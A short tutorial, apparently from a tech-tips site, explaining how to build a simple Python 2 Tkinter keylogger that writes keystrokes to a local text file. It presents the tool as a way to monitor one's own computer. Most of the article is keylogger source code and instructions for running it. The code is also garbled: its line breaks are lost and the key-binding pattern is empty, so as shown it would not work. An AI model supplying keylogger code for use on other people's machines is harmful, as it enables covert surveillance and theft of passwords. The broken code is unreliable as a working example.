How to Create a Keylogger Using Python

By Jaime Avelar

You can create a keylogger program using Python to capture the keystrokes typed through a computer's keyboard. The keystrokes are saved in a text file, and it records all input. You can use a key logger to monitor activity on your computer.

Step 1

Launch IDLE, click the “File” menu and select “New Window” to launch a new window. Press Ctrl and S to launch the “Save As” window. Use “getKeyLogger” as the file name and click “Save.”

Step 2

Add the following line of code to import the “Tkinter” namespace and define the path of the file you want to use to log:import Tkinter as tkmyFile = open("C:/temp/keyFile.txt", "w")

Step 3

Copy and paste the following code to save every keystroke to the file:def keypress(event): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write(keyPressed)

Step 4

Add the following code to let a user know he can start typing, and that he can press Esc to end the program:main = tk.Tk()print "Press any key (Escape key to exit):"main.bind_all('', keypress)main.withdraw()main.mainloop()myFile.close()

Step 5

Click the “Windows” start button and type “cmd” in the “search programs and files” box. Press Enter to open the command prompt. Go to “C:\Python\” and type “python getKeyLogger.” Press Enter to run the program. Go to “C:/temp/” and double-click “keyFile.txt" to view keystroke data.

References & Resources